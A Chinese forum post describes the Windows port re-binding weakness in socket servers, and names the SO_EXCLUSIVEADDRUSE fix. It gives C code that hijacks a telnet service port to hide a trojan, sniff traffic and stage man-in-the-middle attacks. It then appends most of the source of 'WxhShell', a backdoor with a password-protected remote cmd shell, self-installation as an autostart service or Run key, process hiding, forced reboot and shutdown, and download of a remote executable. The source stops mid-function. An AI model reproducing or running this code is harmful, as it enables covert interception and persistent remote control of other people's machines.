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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :VFTVmr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vXubY@k2  
TSXTc'  
  saddr.sin_family = AF_INET; .}p|`3$P  
Ygx,t|?7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4$i}Xk#3  
6F ;Or  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,I39&;Iq  
G7Ny"{Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [a NhP;<  
~u2w`H?V  
  这意味着什么?意味着可以进行如下的攻击: n!?r }n8  
6PJ'lA;*b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ('HxHOh2  
:)LC gIQo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6 6dTs,C  
;Id"n7W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I7bi@t  
6H6Law!)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^f0(aYWx  
86{ZFtv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~>w:;M=sV8  
96)v#B?p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >t,O2~  
YE_6OLW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1)Eq&ASB  
{_Np<r;j<  
  #include |` v^d|  
  #include \P?--AI q<  
  #include KT=a(QL  
  #include    y^YVo^3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a|z1K  
  int main() BJIFl!w  
  { f\=6I3z  
  WORD wVersionRequested; 7?"9J `*  
  DWORD ret; ]0YDb~UB  
  WSADATA wsaData; 9/Wn!Ld  
  BOOL val; >.@MR<H#5  
  SOCKADDR_IN saddr; U2=hSzY  
  SOCKADDR_IN scaddr; ax]9QrA  
  int err;  0/*X=5  
  SOCKET s; q06@SD$   
  SOCKET sc; 4%>+Wh[  
  int caddsize; 43F^J%G  
  HANDLE mt; :P"9;$FY  
  DWORD tid;   ]wR6bEm7  
  wVersionRequested = MAKEWORD( 2, 2 ); D0KELA cY  
  err = WSAStartup( wVersionRequested, &wsaData ); ]eD[4Y\#t  
  if ( err != 0 ) { }M="oN~w  
  printf("error!WSAStartup failed!\n"); YZ{;%&rB  
  return -1; yW:AVqE)t  
  } )Kr(Y.w  
  saddr.sin_family = AF_INET; $WJy?_c  
   S}O5l}E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0O^U{#*$I  
xT/9kM&}L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0*{@E%9  
  saddr.sin_port = htons(23); H<{*ub4'L*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @@; 1%z  
  { S~} +ypV  
  printf("error!socket failed!\n"); Jb 6&  
  return -1; qWkx:-g]  
  } W -3w7^  
  val = TRUE; :g/{(#E@Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {YfYIt=.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DSTx#*  
  { !Am =v=>  
  printf("error!setsockopt failed!\n"); 5%#i79z&B  
  return -1; -/1d&  
  } l2r>|CGQ[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s?HsUD$b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r@;$V_I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '2j~WUEmg  
U <|B7t4M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "hfw9Qm  
  { : qr} M  
  ret=GetLastError(); @!Y.935/0  
  printf("error!bind failed!\n"); sAf9rZt*'  
  return -1; ]KzJ u`O%G  
  } Mru~<:9  
  listen(s,2); -IGMl_s  
  while(1) [10$a(g\x  
  { T<_+3kw  
  caddsize = sizeof(scaddr); cFe V?a  
  //接受连接请求 ;,R[]B01u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E=3#TBd  
  if(sc!=INVALID_SOCKET) :E}6S  
  { &(GopWR`e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8 `yB  
  if(mt==NULL) v)TUg0U=,  
  {  $.=5e3  
  printf("Thread Creat Failed!\n"); g+VRT, r  
  break; +~@7" |d  
  } tYF$#Nor#k  
  } EwC5[bRjUp  
  CloseHandle(mt); }`?7\\6  
  } IwOfZuS  
  closesocket(s); tP -5  
  WSACleanup(); 9{T 8M  
  return 0; E`U &Z  
  }   tvv[$ b&  
  DWORD WINAPI ClientThread(LPVOID lpParam) rGGS]^  
  { uT#Acg  
  SOCKET ss = (SOCKET)lpParam; Z+OAs0}mV  
  SOCKET sc; T<! \B]  
  unsigned char buf[4096]; 3{6ps : w  
  SOCKADDR_IN saddr; Z^6A_:]j  
  long num; f;&` 9s| 1  
  DWORD val; ~D$#>'C#  
  DWORD ret; 9T?~$XlX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wA{*W>i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r{bgTG  
  saddr.sin_family = AF_INET;  ?L`MFR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oD Q9.t  
  saddr.sin_port = htons(23); Zjw!In|vC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 02;f2;I  
  { pW`ntE#L  
  printf("error!socket failed!\n"); xzuPie\  
  return -1; gF$1wV]e  
  } Ka[Sm|-q  
  val = 100; 0-6:AHix  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SjFF=ib  
  { qQwJJjf  
  ret = GetLastError(); yIn/Y0No  
  return -1; 6tDg3`w>  
  } vsOdp:Yp9!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eV@4VxaZ  
  { `M towXj  
  ret = GetLastError(); g| _HcaW  
  return -1; z0EjIYI[N  
  } #p']-No  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r_{)?B  
  { j=`y  @~  
  printf("error!socket connect failed!\n"); qiF@7i  
  closesocket(sc); &\CJg'D:m  
  closesocket(ss); ^p{A!I!  
  return -1; <L[T'ZE+  
  } "H wVK  
  while(1) BT y]!%r'  
  { #RCZA4>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gPF}aaB6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Nv}U/$$S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tg4LE?nv  
  num = recv(ss,buf,4096,0); V'Sd[*  
  if(num>0) t ?pIE cl  
  send(sc,buf,num,0); Z1XUYe62  
  else if(num==0) R!:eYoQ  
  break; OqAh4qa,$  
  num = recv(sc,buf,4096,0); tuL\7 (R  
  if(num>0)  hg<"Yg=  
  send(ss,buf,num,0); yf0vR%,\  
  else if(num==0) 5i}CzA96  
  break; N>W;0u!  
  } iX0]g45o  
  closesocket(ss); }z9I`6[  
  closesocket(sc); a>;3 j  
  return 0 ; ,n /SDEL  
  } 1Xk{(G<\  
c+)36/; X  
ej)BR'*  
========================================================== FF~on06!   
OX#eLco  
下边附上一个代码,,WXhSHELL ^+.+I cH  
C}M0XW  
========================================================== yBXkN&1=%;  
=|j*VF2y"  
#include "stdafx.h" (6b?ir~  
!3b|*].B  
#include <stdio.h> nm{'HH-4  
#include <string.h> \FY/eQ*07  
#include <windows.h> +R{A'Yl[(  
#include <winsock2.h> 0XBBA0t q  
#include <winsvc.h> v%69]a-T  
#include <urlmon.h> e{q p!N1!  
+j)-L \  
#pragma comment (lib, "Ws2_32.lib") 7$Z)fkx.  
#pragma comment (lib, "urlmon.lib") T2/v}  
t wa(M?  
#define MAX_USER   100 // 最大客户端连接数 XC+F! R  
#define BUF_SOCK   200 // sock buffer {y+v-v/#  
#define KEY_BUFF   255 // 输入 buffer  )zk?yY6  
2yi*eR  
#define REBOOT     0   // 重启 B J:E,P`_  
#define SHUTDOWN   1   // 关机 dd?x5|/#  
#Of<1  
#define DEF_PORT   5000 // 监听端口 /Gh x2B  
l\A}lC0?J  
#define REG_LEN     16   // 注册表键长度 ".*a)  
#define SVC_LEN     80   // NT服务名长度 !DY2{Wb  
l"~h1xk~  
// 从dll定义API vJ#rW8y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5 ~ *'>y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wHo#%Y,Nmi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); On2Vf*G@|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~8Dd<4?F]  
M; S-ESQ  
// wxhshell配置信息 U&d-?PI  
struct WSCFG { 0s+rd&  
  int ws_port;         // 监听端口 8`rAE_n`%  
  char ws_passstr[REG_LEN]; // 口令 ino7!T`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Xt]wl*]+  
  char ws_regname[REG_LEN]; // 注册表键名 H;b'"./  
  char ws_svcname[REG_LEN]; // 服务名 P}.yEta  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]/<Qn-BbU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^)%wq@Hi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a-UD_|!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (Ay4B*|!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7DHT)9lD/  
qI4R`P"  
}; ^~YmLI4  
7y)|^4X2  
// default Wxhshell configuration :`Zl\!]E`o  
struct WSCFG wscfg={DEF_PORT, t<EX#_i,  
    "xuhuanlingzhe", /FNj|7s  
    1, EkgN6S`}  
    "Wxhshell", BHRrXC\  
    "Wxhshell", +gD)Yd  
            "WxhShell Service", .x-Z+Rs{g  
    "Wrsky Windows CmdShell Service", q9a wzj  
    "Please Input Your Password: ", RL]lt0O{  
  1, j .yr 5%  
  "http://www.wrsky.com/wxhshell.exe", A]~iuUHm  
  "Wxhshell.exe" @]VvqCk  
    }; ,uqbS  
+=29y@c  
// 消息定义模块 61eKGcjs:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [jtj~]&mO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5  a*'N~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Um0<I)  
char *msg_ws_ext="\n\rExit."; V;(*\"O  
char *msg_ws_end="\n\rQuit."; ]= QCCC  
char *msg_ws_boot="\n\rReboot..."; +_|cZlQ&  
char *msg_ws_poff="\n\rShutdown..."; H$qdU!c  
char *msg_ws_down="\n\rSave to "; [#3Cg%V  
~:RDw<PWp  
char *msg_ws_err="\n\rErr!"; mG8  
char *msg_ws_ok="\n\rOK!";  qzU2H  
;Cp/2A}Xx  
char ExeFile[MAX_PATH]; M@LaD 5  
int nUser = 0; N- ?|]4e/  
HANDLE handles[MAX_USER]; 4[f7X4d$  
int OsIsNt; Pi]s<3PL  
J!^~KN6[  
SERVICE_STATUS       serviceStatus; t73Z3M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {/|8g(  
qeO6}A"^|  
// 函数声明 %Cbc@=k  
int Install(void); uK&wS#uY  
int Uninstall(void); <K.C?M(9  
int DownloadFile(char *sURL, SOCKET wsh); ZZ.0'   
int Boot(int flag); krnk%ug  
void HideProc(void); L!}j3(I  
int GetOsVer(void); ?\p%Mx?   
int Wxhshell(SOCKET wsl); /o06hy  
void TalkWithClient(void *cs); !A^w6Q;`V  
int CmdShell(SOCKET sock); EA@$^e[  
int StartFromService(void); GzZ|T7fm  
int StartWxhshell(LPSTR lpCmdLine); (Ss77~W7  
[XU{)l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u>i+R"hi"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H|Fqc=qp  
E,yzy[gl  
// 数据结构和表定义 O t4+VbB6  
SERVICE_TABLE_ENTRY DispatchTable[] = R;-FZ@u/  
{ IM&7h! l"|  
{wscfg.ws_svcname, NTServiceMain}, Go+,jT-  
{NULL, NULL} $v}8lBCr3  
}; ThqfZl=V  
a!J ow?(  
// 自我安装 D(ntVR  
int Install(void) ^9V8M9  
{ e !x-:F#4j  
  char svExeFile[MAX_PATH]; 6_}){ZR  
  HKEY key; GHsdLe=t0#  
  strcpy(svExeFile,ExeFile); !vo'8r?&  
][K8\  
// 如果是win9x系统,修改注册表设为自启动 &8YI)G%  
if(!OsIsNt) { ; dHOH\,:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iKEKk\j-w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L"vG:Mq@D  
  RegCloseKey(key); ^)P5(fJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I8oKa$RF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AiHDoV+-  
  RegCloseKey(key); LGg x.Z  
  return 0; Q_|S^hx Q  
    } uM!r|X)8  
  } xp;8p94   
} iqKfMoy5  
else { Wes "t}[25  
ZYt"=\_  
// 如果是NT以上系统,安装为系统服务 DBrzw+;e3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &l}xBQAL  
if (schSCManager!=0) T7Qd I[K%b  
{ X%\6V;zR#  
  SC_HANDLE schService = CreateService B46H@]d#7K  
  ( uXW. (x7"f  
  schSCManager, i$<v*$.o  
  wscfg.ws_svcname, U,3K6AZA 7  
  wscfg.ws_svcdisp, nsw8[pk  
  SERVICE_ALL_ACCESS, i2R]lE8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UU~;B  
  SERVICE_AUTO_START, K~~*M?.Z  
  SERVICE_ERROR_NORMAL, cw-JGqLx  
  svExeFile, `0vy+T5  
  NULL, K dQ|$t  
  NULL, FbNQ  
  NULL, ^WYG?/{4  
  NULL, hnL gsz  
  NULL 7}7C0mV3  
  ); -#z'A  
  if (schService!=0) vh3iu +  
  { Evgq}3  
  CloseServiceHandle(schService); 0JL6EL>_  
  CloseServiceHandle(schSCManager); k.f:nv5JO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iP\&fZY_  
  strcat(svExeFile,wscfg.ws_svcname); vh.tk^&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "YU~QOGx@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z{+; '9C  
  RegCloseKey(key); D7 '0o`|  
  return 0; Y`p&*O  
    } k yA(m;r  
  } ill'K Py  
  CloseServiceHandle(schSCManager); %iFIY=W  
} T{xo_u{Q  
}  0 9'o  
(zODV4,5k`  
return 1; |y=F ( 6Z  
} ba:^zO^  
(j Q6~1  
// 自我卸载 wq`Kyhk  
int Uninstall(void) s|`)'  
{ 1ORi]`  
  HKEY key; Q"_T040B  
,'DrFlI  
if(!OsIsNt) { 6y!?xot  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X(q=,^Mp  
  RegDeleteValue(key,wscfg.ws_regname); ~a,'  
  RegCloseKey(key); W 9MZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m&c(N  
  RegDeleteValue(key,wscfg.ws_regname); Olh-(u:9+O  
  RegCloseKey(key); mK&9p{4#U  
  return 0; l'8wPmy%N  
  } i_^NbC   
} p%_ :(  
} F09AX'nj  
else { RLX^'g+P  
Gf.o{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #u(,#(P'#  
if (schSCManager!=0) AdW7 vn  
{ Pu*UZcXY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |W];v@b\y  
  if (schService!=0) X,CF Y  
  { LMj'?SuH  
  if(DeleteService(schService)!=0) { nECf2>Yp v  
  CloseServiceHandle(schService); ;P#*R3   
  CloseServiceHandle(schSCManager); t O;W?g  
  return 0; o fv 1G=P  
  } %+J*oFwQu  
  CloseServiceHandle(schService); ?2>v5p  
  } .Sw'Bo!Ee  
  CloseServiceHandle(schSCManager); =xP{f<`   
} .Q@'Ob`  
} V2skr_1  
[)c|oh%  
return 1; 84cH|j`w  
} =i %w_ e  
RL8 wSK  
// 从指定url下载文件 ?saVk7Z[|5  
int DownloadFile(char *sURL, SOCKET wsh) Ka2tr]+s  
{ SXF_)1QO\W  
  HRESULT hr; aBLb i  
char seps[]= "/"; L#b Q`t  
char *token; ay[*b_f  
char *file; GQWTQIl]  
char myURL[MAX_PATH]; d'D\#+%> =  
char myFILE[MAX_PATH]; l_EI7mJ  
A2S9h,t  
strcpy(myURL,sURL); S*:w\nXP~  
  token=strtok(myURL,seps); >ON.ftZ i  
  while(token!=NULL) &$im^0`r_  
  { Rj= Om  
    file=token; DlO;EH  
  token=strtok(NULL,seps); (LPD  
  } S`.-D+.68  
F\72^,0  
GetCurrentDirectory(MAX_PATH,myFILE); IQv>{h}  
strcat(myFILE, "\\"); F'*4:WD7  
strcat(myFILE, file); - mXr6R?  
  send(wsh,myFILE,strlen(myFILE),0); {m GWMv  
send(wsh,"...",3,0); n/D]r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4tTJE<y  
  if(hr==S_OK) z|H>jit+  
return 0; N Q=YTRU  
else Dw,f~D$+ic  
return 1; W{aNS@1  
c>.Xc[H  
} Lcm!e  
BT0hx!Ti  
// 系统电源模块 3/05ee;|  
int Boot(int flag) [hbIv   
{ P^-9?u Bno  
  HANDLE hToken; #IDCCD^1=  
  TOKEN_PRIVILEGES tkp; UlytxWkUX  
w7u >|x!  
  if(OsIsNt) { `$-  Ib^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )FPbE^s(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m,O !M t  
    tkp.PrivilegeCount = 1; E~^'w.1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ="K>yUfcFl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ObzlZP r@  
if(flag==REBOOT) { ry"zec B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Df^S77&c!  
  return 0; P#PQ4uK \  
} ?Pc 3*.  
else { p7er04/}\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BZ9iy~  
  return 0; "dTXT  
} ~yN,FpD  
  } yjzNU5F  
  else { Xi.?9J`@  
if(flag==REBOOT) { ]+P &Y:   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W9"I++~f  
  return 0; *6tN o-)^  
} C"<@EMU9  
else { t`B']Ac;T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4uA^/]ygo  
  return 0; (=9&"UH  
} c2/HY8ttRD  
} XT"c7]X  
Gy%e%'  
return 1; 1O4"MeF  
} 0 HmRl  
Q2Rj0E`  
// win9x进程隐藏模块 w3D_ c~  
void HideProc(void) K-3 _4As  
{ HxaUVg0  
z^.0eP8\j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y rk#)@/m  
  if ( hKernel != NULL ) flqTx)xE  
  { 5@ug1F&   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wn&2-m*a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mZyTo/\0  
    FreeLibrary(hKernel); wQT'~'kL  
  } 6* 7&X#gG  
q0wVV  
return; (6nw8vQ  
} HenJlo  
~@lNBF  
// 获取操作系统版本 F04Etf 2k  
int GetOsVer(void) R8l9i2  
{ xJCpWU3wM  
  OSVERSIONINFO winfo; xTT>3Fj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xFZq6si?  
  GetVersionEx(&winfo); s?Kn,6Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }T,uw8?f!  
  return 1; CggEAi~  
  else O;2 u1p'iP  
  return 0; g%trGW3{-  
} 3QpT O,  
tS$Ne7yk e  
// 客户端句柄模块 4KCxhJq  
int Wxhshell(SOCKET wsl) L@XeAEIq  
{ \~PFD%]:3  
  SOCKET wsh; ?F/3]lsggT  
  struct sockaddr_in client; ]_s]Q_+E  
  DWORD myID; sXu]k#I^"  
lS^0*(Y  
  while(nUser<MAX_USER) DZue.or  
{ s><co]  
  int nSize=sizeof(client); AM>:At Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JFZ p^{  
  if(wsh==INVALID_SOCKET) return 1; P*>V6SK>b  
ioggD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !_@%/I6  
if(handles[nUser]==0) D_Y;N3E/rS  
  closesocket(wsh); FWg7 e3  
else Y{KJk'xN5W  
  nUser++; -MjRFa  
  } KVuv%?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0N xaQ`\  
(Gcl,IW  
  return 0; cc[w%jlA#  
} yWzTHW`)Mr  
Zu,f&smb  
// 关闭 socket *D,T}N  
void CloseIt(SOCKET wsh) E' Bt1 u  
{ . fIodk  
closesocket(wsh); H|Ems}b  
nUser--; y_6HQ:  
ExitThread(0); o#i {/# oF  
} O%r<I*T^r  
>KE(%9y~  
// 客户端请求句柄 7u zN/LAF  
void TalkWithClient(void *cs) xk/(| f{L  
{ > L%%B-  
DxlX-  
  SOCKET wsh=(SOCKET)cs; {)mlXo(On  
  char pwd[SVC_LEN]; ,O}zgf*H;  
  char cmd[KEY_BUFF]; ydt1ED0Q-  
char chr[1]; QUt!fF@t  
int i,j; 157X0&EX  
pPE4~g 05h  
  while (nUser < MAX_USER) { <~d N23)  
4P8:aZM  
if(wscfg.ws_passstr) { y ;;@T X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :9<5GF(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L-XTIL$$  
  //ZeroMemory(pwd,KEY_BUFF); S'txY\  
      i=0; R`c5-0A  
  while(i<SVC_LEN) { >2a~hW|,  
Sz =z TPnO  
  // 设置超时 <*[(t;i  
  fd_set FdRead; %X3T<3<  
  struct timeval TimeOut; D<MtLwH  
  FD_ZERO(&FdRead); &b_duWs  
  FD_SET(wsh,&FdRead); "k.<"pf  
  TimeOut.tv_sec=8; jzQgD ed ]  
  TimeOut.tv_usec=0; 1n^xVk-G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~L2Fo~fw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `6zoZM7?Y  
SC#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vh&uSi1V  
  pwd=chr[0]; 99`xY$  
  if(chr[0]==0xd || chr[0]==0xa) { c0@v`-9  
  pwd=0; 344- ~i*  
  break; Px<;-H`  
  } %\A~w3E  
  i++; ?1YK-T@  
    } Q8_d]V=X:  
Q-\: u~  
  // 如果是非法用户,关闭 socket  #u~8Txt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j0J6ySlY  
} 8 =d9*lm  
\|Mz'*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); di|l?l^l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cd4G&(=  
B#=dz,}  
while(1) { rB4]TQ`c  
G]{)yZ'}  
  ZeroMemory(cmd,KEY_BUFF); 7j^,4;  
.m .v$(  
      // 自动支持客户端 telnet标准   ' `S,d[~  
  j=0; ^Oo%`(D?  
  while(j<KEY_BUFF) { qg_=5s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ujaaO6oZ7  
  cmd[j]=chr[0]; o!Y7y1$  
  if(chr[0]==0xa || chr[0]==0xd) { MD+Q_  
  cmd[j]=0; +7=3[K  
  break; B9]KC i  
  } i9d.Ls  
  j++; #soWX_>  
    } #(OL!B  
um/iK}O  
  // 下载文件 8"+Kz  
  if(strstr(cmd,"http://")) { L!\I>a5C0G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cG.4%Va@s_  
  if(DownloadFile(cmd,wsh)) +BESO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lx.X#n.]T  
  else ~MOIrF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -0Ps. B  
  } '2eggX%  
  else { [l0>pHl@  
OmsNo0OA  
    switch(cmd[0]) { YtFtU;{  
  % _N-:.S  
  // 帮助 &T{+B:*v  
  case '?': { yJ?6BLJi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~x2azY2DP  
    break; YM-,L-HMA  
  } -Wf 2m6t  
  // 安装 aPRF  
  case 'i': { d+8Sypv^4*  
    if(Install()) zhS\|tI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o]@?QAu  
    else LqNsQu";  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _k&vW(O=:  
    break; :AL nm0d  
    } O9bIo]B  
  // 卸载 L:7%Wdyh  
  case 'r': { 3{CXIS  
    if(Uninstall()) p~qdkA<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MFRM M%`  
    else  3= PRe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H8X{!/,^  
    break; WOh?/F[@u  
    } J%{>I   
  // 显示 wxhshell 所在路径 /@:I\&{f'9  
  case 'p': { [&51m^  
    char svExeFile[MAX_PATH]; m)V%l0  
    strcpy(svExeFile,"\n\r"); ^I7iEv  
      strcat(svExeFile,ExeFile); arm26YA-,  
        send(wsh,svExeFile,strlen(svExeFile),0); 29:] cL(5  
    break; o!:   
    } K1Mn_)%  
  // 重启 U 1vZ r{\  
  case 'b': { b:2# 3;)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A|7%j0T  
    if(Boot(REBOOT)) idEhxvAo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /; w(1)B  
    else { 13kl\ <6  
    closesocket(wsh); b-,4< H8m  
    ExitThread(0); vkp_v1F%+  
    } :wtK'ld  
    break; rytves%;C  
    } ';Y0qitGB  
  // 关机 Ko: <@h  
  case 'd': { !Wgi[VB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !ap}+_IA7^  
    if(Boot(SHUTDOWN)) Ejmpg_kux  
